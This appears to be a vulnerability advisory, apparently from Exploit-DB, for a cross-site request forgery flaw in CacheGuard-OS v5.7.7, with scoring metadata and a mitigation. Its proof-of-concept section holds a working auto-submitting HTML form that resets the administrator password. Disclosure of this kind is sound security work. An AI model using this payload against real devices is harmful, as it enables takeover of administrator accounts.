CSRF vulnerabilities in CacheGuard-OS v5.7.7

vendor:

CacheGuard-OS

by:

William Costa

7,5

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: CacheGuard-OS

Affected Version From: CacheGuard-OS v5.7.7

Affected Version To: CacheGuard-OS v5.7.7

Patch Exists: YES

Related CWE: N/A

CPE: a:cacheguard:cacheguard-os:5.7.7

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

CSRF vulnerabilities in CacheGuard-OS v5.7.7

A CSRF vulnerability has been detected in CacheGuard in '/gui/password-wadmin.apl'. The application does not validate the parameter any csrf_token '/gui/password-wadmin.apl'. This allows attackers to modify settings or change password of user administrator in CacheGuard, because these functions are not protected by CSRF-Tokens.

Mitigation:

All functions must be protected by CSRF-Tokens.

Source

Exploit-DB raw data:

I. VULNERABILITY

-------------------------

CSRF vulnerabilities in CacheGuard-OS v5.7.7

II. BACKGROUND

-------------------------

CacheGuard is an All-in-One Web Security Gateway providing firewall,
web antivirus, caching, compression, URL filtering, proxy, high
availability, content filtering, bandwidth saving, bandwidth shaping,
Quality of Service and more.



III. DESCRIPTION

-------------------------

Has been detected a CSRF  vulnerability in CacheGuard in
"/gui/password-wadmin.apl"



IV. PROOF OF CONCEPT

-------------------------

The application does not validate the parameter any csrf_token
"/gui/password-wadmin.apl".



<html>



<body onload="CSRF.submit();">

<br>

<br>



<form id="CSRF" action="https://10.200.210.123:8090/gui/password-wadmin.apl"
method="post" name="CSRF">

<input name="password1" value="admin@1234" type=hidden> </input>

<input name="password2" value="admin@1234" type=hidden> </input>

</form>



</body>

</html>



V. BUSINESS IMPACT

-------------------------



CSRF allow the execution attackers to modify settings or change
password of user administrator in CacheGuard, because this functions
are not protected by CSRF-Tokens.



VI. REQUIREMENTS

-----------------------

An Attacker needs to know the IP of the device.

An Administrator needs an authenticated connection to the device.



VII. SYSTEMS AFFECTED

-------------------------

Try CacheGuard-OS v5.7.7



VIII. SOLUTION

-------------------------

All functions must be protected by CSRF-Tokens.

http://www.kb.cert.org/vuls/id/241508

By William Costa
william.costa no spam gmail.com